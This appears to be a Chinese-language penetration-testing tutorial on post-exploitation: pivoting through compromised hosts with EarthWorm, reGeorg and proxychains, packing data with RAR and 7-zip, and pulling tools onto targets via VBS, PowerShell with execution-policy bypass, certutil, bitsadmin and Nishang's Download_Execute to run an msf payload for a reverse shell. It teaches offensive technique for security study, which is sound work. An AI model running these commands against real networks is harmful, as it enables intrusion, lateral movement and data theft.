'SOCKS代理及数据压缩及上传和下载'
SOCKS代理
常见网络环境:
1、内网可以访问外网。
2、内网可以访问外网,但服务器安装了防火墙拒绝敏感端口连接。
3、内网无法访问外网,但开放了部分端口(例如80端口)。
工具介绍与安装
1、EarthWorm(ew)
便携隧道工具,具有SOCKS5服务架设和端口转发两大功能,可实现网络穿透。
支持正向、反向、多级级联等方式,支持多个操作系统(linux、win、mac os、ARM-linux)
下载链接https://github.com/rootkiter/EarthWorm
新版https://github.com/rootkiter/Termite
2、reGeorg
功能:把内网服务器的端口通过HTTPS/HTTPS隧道转发到攻击机,形成回路。
可以使目标服务器在内网中(或在设置端口策略情况下)连接内部开放端口。
利用webshell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP。
3、SocksCap64
windows全局代理工具https://www.sockscap64.com/homepage/
可使windows应用程序通过SOCKS代理来访问网络,无需对应用进行修改。
4、porxifier
全局代理软件,提供平台的端口转发与代理功能,适用于win、linux、mac os平台。
链接:https://pan.baidu.com/s/1HGHgZjYbotXuRiYFjAFd6g 提取码:7g76
5、proxychains
linux全局代理工具,稳定、可靠,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4/5类型代理。(kali自带)
http://proxychains.sourceforge.net/
在网络环境中的使用
1、ew的使用
(1)目标机架设连接端口(目标拥有外网IP)
ew -s ssocksd -l 888
(2)反向代理(目标无外网IP)
环境架构:
攻击机:
ew -s rcsocks -l 1080 -e 8809
中间机(WEB服务器):
ew -s rssocks -d 192.168.1.1 -e 8809
然后就可使用代理工具(porxifier或SocksCap64)访问内网
(3)二级网络环境(a)
当前状态:拿到WEB服务器和10.10.10.3的控制权限,环境架构:
10.10.10.3命令:
ew -s ssocksd -l 888 开启代理隧道
WEB服务器命令:
ew -s lcx_tran -l 1080 -f 10.10.10.3 -g 888 连接隧道
然后就可使用代理工具(porxifier或SocksCap64)配置代理:192.168.1.1:1080访问内网
(4)二级网络环境(b)
当前状态:拿到WEB服务器和10.10.10.3的控制权限,环境架构:
kali执行:
ew -s lcx_listen -l 10800 -e 888
10.10.10.3执行:
ew -s sscocksd -l 999
WEB服务器执行:
ew -s lcx_slave -d (kali的IP) -e 888 -f 10.10.10.3 -g 999
然后就可使用代理工具(porxifier或SocksCap64)配置代理:(kali的IP):10800访问内网
(5)三层网络环境
kali执行:
ew -s rcsocks -l 1080 -e 888
WEB服务器(192.168.1.1)上执行:
ew -s lcx_slave -d (kali的IP) -e 888 -f 10.10.10.3 -g 999
内网WEB服务器(10.10.10.3)上执行:
ew -s lcx_listen -l 999 -e 777
内网服务器(192.168.0.1)上执行:
ew -s rssocks -d 10.10.10.3 -e 777
然后就可使用代理工具(porxifier或SocksCap64)配置代理:(kali的IP):1080访问内网
linux下使用proxychains实现内网漫游
配置代理
vi /etc/proxychains.conf
删除dynamic_chaim前面的注释符
socks5 127.0.0.1 1080
验证是否成功:
proxyresolv www.baidu.com
若显示未找到命令的提示信息,则执行以下命令后再执行验证命令
cp /usr/lib/proxychains3/proxyresolv /usr/bin
我这里没有去配置代理,正常情况下应该显示"OK"
使用代理启动其他程序:
proxychains firefox
压缩数据
RAR
如果目标机安装了即可直接使用;若未安装,在本地安装后上传rar.exe到目标机。(操作系统版本必须相同,不然会出错)
命令详解
-a:添加要压缩的文件。
-k:锁定压缩文件。
-s:生成存档文件。
-p:指定压缩密码。
-r:递归压缩,包括子目录。
-x:指定要排除的文件。
-v:分卷打包,适合大文件。
-ep:从名称中排除路径。
-ep1:从名称中排除基本目录。
-m0:存储,添加到压缩文件时不压缩文件。
-m1~-m5:根据数字大小,数字越大压缩速度越慢,但压缩方式最好。
e:解压到当前目录
x:解压到指定绝对目录
1、以RAR格式压缩/解压
将webs下所有内容打包成1.rar加到webs下
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs
rar.exe e E:\webs\1.rar
2、分卷压缩/解压
分卷压缩API目录下所有文件及文件夹,设置每个分卷为20MB,结构为test.part1.rar、test.part2.rar等
rar.exe a -m0 -r -v20m E:\test.rar E:\API
解压
rar.exe x E:test.part1.rar E:\xl
7-zip
1、压缩\解压
把E:\webs\目录下所有内容打包为1.7z,放到E:\webs\目录下,密码为12345
7z.exe a -r -p12345 E:\webs\1.7z E:\webs
解压
7z.exe x -p12345 E:\webs\1.7z -oE:\x
2、分卷压缩\解压
分卷压缩API目录下所有文件及文件夹,设置每个分卷为20MB,结构为test.7z.001、test.7z.002等
7z.exe -r -v1m -padmin a E:\test.7z E:\API
解压
7z.exe x -padmin E:\test.7z.001 -oE:\xl
上传和下载
利用VBS上传
VBS是windows中基于Visual Basic的脚本语言。
利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。
前提:开启server服务器
php -S 0.0.0.0:8080
在shell中依次输入以下命令
1 | echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs |
然后执行命令即可下载target.exe
Cscript download.vbs
利用powershell传文件
1 | powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.37.132:8080/ping.py','C:\Windows\Temp\ping.py'); |
利用Debug上传
kali中exe2bat.exe工具位于/usr/share/windows-binaries目录下
(工具只支持小于64KB的文件)
执行命令将ew.exe转换为16进制HEX的形式
wine exe2bat.exe ew.exe ew.txt
使用echo命令,将ew.txt里的代码复制到目标机的命令行环境中,依次执行命令,生成1.dll、123.hex、ew.exe。
使用Nishang上传
下载链接https://github.com/samratashok/nishang.git
原理:利用Nishang将上传的EXE文件转换为16进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载txt并将其转换位EXE文件。
使用echo命令将Nishang posershell的脚本的内容上传到目标服务器中,并修改扩展名为.ps1
执行以下脚本,利用Nishang中的exetotest.ps1脚本将由msf生成的msf.exe修改为msf.txt
.\ ExetoText c:msf.exe c:msf.txt
接着,通过echo命令,将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。
最后调用Download_Execute脚本下载并执行该程序
Download_Execute http://192.168.1.1/msf.txt
msf监听端口就可反弹shell
bitsadmin和certutil
用于创建下载和上传进程并监测其进展。(win XP之后系统自带)(推荐在win7、win8使用)
如果渗透测试的目标主机使用了网站代理,并且需要活动目录证书,就可以使用bitsadmin解决下载文件问题。
CertUtil的一个特性是能够从远程URL下载证书或任何其他文件
1 | bitsadmin /transfer 124 http://192.168.37.132:8080/1.txt C:\Windows\Temp\1.txt |
linux常用下载命令
1 | wget http://192.168.37.132:8080/1.txt |